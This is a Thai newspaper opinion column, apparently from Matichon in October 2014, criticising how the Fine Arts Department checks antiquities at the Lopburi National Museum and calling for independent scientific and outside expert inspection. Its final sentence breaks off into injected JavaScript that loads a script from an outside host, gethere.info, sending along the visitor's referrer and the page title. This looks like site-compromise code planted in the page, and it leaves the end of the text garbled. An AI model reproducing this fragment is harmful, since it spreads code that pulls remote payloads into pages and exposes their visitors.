มติชนรายวัน ฉบับประจำวันจันทร์ที่ 6 ตุลาคม 2557

 

ตรวจสอบพิพิธภัณฑ์ มาตรฐานแบบไหน?

          “สื่อมวลชนไม่ได้เป็นนักโบราณคดี จะรู้ไหมว่าเป็นของจริงหรือปลอม”

          นายจรูญ นราคร รองอธิบดีกรมศิลปากร (ซึ่งไม่เป็นนักโบราณคดี แต่เป็น)ประธานคณะตรวจสอบโบราณวัตถุในพิพิธภัณฑสถานแห่งชาติ จ. ลพบุรี

          บอกผู้สื่อข่าวมติชนที่จะขอเข้าไปทำข่าวการตรวจสอบพิพิธภัณฑ์ ว่าไม่ได้ปิดกั้นนักข่าว แต่การตรวจสอบโบราณวัตถุเป็นเรื่องทางเทคนิค ต้องเข้าไปในคลังเก็บโบราณศิลปวัตถุ (มติชน วันพุธที่ 1 ตุลาคม 2557 หน้า 1)

          นักโบราณคดีในไทย (ที่จริงเป็นนักประวัติศาสตร์ศิลปะมากกว่า) ต่างใช้อัตวิสัยกำหนดอายุและตรวจสอบว่าจริงหรือปลอมของโบราณศิลปวัตถุ

          โดยดูจากฝีมือช่างหรือรูปแบบงานช่าง (ไม่เกี่ยวกรรมวิธีทางวิทยาศาสตร์)

          [อัตวิสัย ยึดถือความคิดหรือความเข้าใจของตนเองเป็นหลัก (ตรงข้ามกับภววิสัยหรือวัตถุวิสัย)]

          โบราณคดีประวัติศาสตร์ศิลปะ เป็นที่รู้กันว่าเริ่มต้นมีขึ้นในยุโรปโดยนักสะสมของเก่า ซึ่งมักเป็นคนชั้นสูงหรือพ่อค้าที่มีประสบการณ์ พบเห็นลูบคลำของเก่ามากๆและบ่อยๆ จึงพัฒนาเป็นศิลปวิทยาการขึ้นมาสนองชนชั้นของพวกตน

          (วิชานี้ในไทยจึงไม่เป็นไปเพื่อสาธารณชนคนส่วนใหญ่ของประเทศ มีพยานชัดเจนที่การจัดพิพิธภัณฑ์ของไทยไม่ตอบสนองมวลชนคนส่วนมาก)

          เจ้าอาณานิคมยุโรปเอาวิชานี้มาสอนคนในอาณานิคม แม้สยามจะอวดว่าไม่ตกเป็นอาณานิคม แต่ก็น้อมรับวิธีคิดแบบอาณานิคมมาใช้งานแต่งตำราประวัติศาสตร์แห่งชาติของไทยสืบจนทุกวันนี้ แล้วถูกผูกขาดโดยหน่วยงานทางการแห่งหนึ่ง กับคนกลุ่มหนึ่งเท่านั้น

          คนกลุ่มนี้มีทั้งนักวิชาการเป็นที่ยอมรับทางวิชาการกว้างขวางระดับนานาชาติ กับมีทั้งดำรงตนเป็นนักค้าของเก่าเกี่ยวข้องกับการปลอมแปลงโบราณศิลปวัตถุ

          แล้วบางคนยังเคยมีส่วนเกี่ยวข้องคดีโบราณศิลปวัตถุสูญหายจากพิพิธภัณฑสถานแห่งชาติ ซึ่งเป็นที่รู้กันดีในหมู่นักโบราณคดีประวัติศาสตร์ศิลปะ แต่พยายามเอาใบบัวปิดไว้ แล้วบ่ายเบี่ยงการตรวจสอบจากบุคคลภายนอก

          แสดงว่าบุคคลที่เกี่ยวข้องด้านนี้มีทั้งดีและไม่ดี เหมือนคนในสาขาอื่นๆทั่วไปในโลก ไม่ได้วิเศษศักดิ์สิทธิ์เหมือนที่สร้างภาพยกตัวเอง

          การตรวจสอบจากผู้รู้หลายฝ่าย ทั้งจากภายในและภายนอกเป็นเรื่องสำคัญมากๆ อ. นิธิ เอียวศรีวงศ์ (นักปราชญ์ร่วมสมัย) จึงแนะนำว่า

          “การตรวจสอบในปัญหาที่เกิดขึ้นไม่ใช่เรื่องยากเท่าไรนัก คือสามารถให้มีการตรวจสอบทางเคมี —– และอีกวิธีหนึ่งคือควรให้มีการตรวจสอบโดยนักวิชาการและผู้ที่มีความเชี่ยวชาญทางด้านโบราณวัตถุที่เป็นคนนอกและไม่มีความเกี่ยวข้อง”

          “ในประเทศไทยมีผู้ที่มีความรู้ความเชี่ยวชาญในเรื่องของเก่าเป็นจำนวนมาก ดังนั้นควรจะหาคนที่เป็นกลาง โดยไม่จำเป็นต้องเป็นคนของกรมศิลปากร และไม่เกี่ยวข้องกับกรณีที่เกิดขึ้น มาดูว่ามีอะไรที่น่าสงสัยว่าเป็นของในสมัยนั้นหรือไม่” (มติชน วันอังคารที่ 30 กันยายน 2557 หน้า1)

          แต่ทางการมักแต่งตั้งคณะกรรมการจากตัวแทนหน่วยงานภายในกระทรวงทบวงกรมเดียวกัน เป็นพวกเดียวกันเองทั้งนั้น

          ขณะที่สังคมรู้ทั่วกันดีว่าขบวนการยุติธรรมในไทยมี“สองมาตรฐาน” แล้วการตรวจสอบพิพิธภัณฑ์จะตรงไปตรงมาเหลือมาตรฐานเดียวได้หรือ?s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {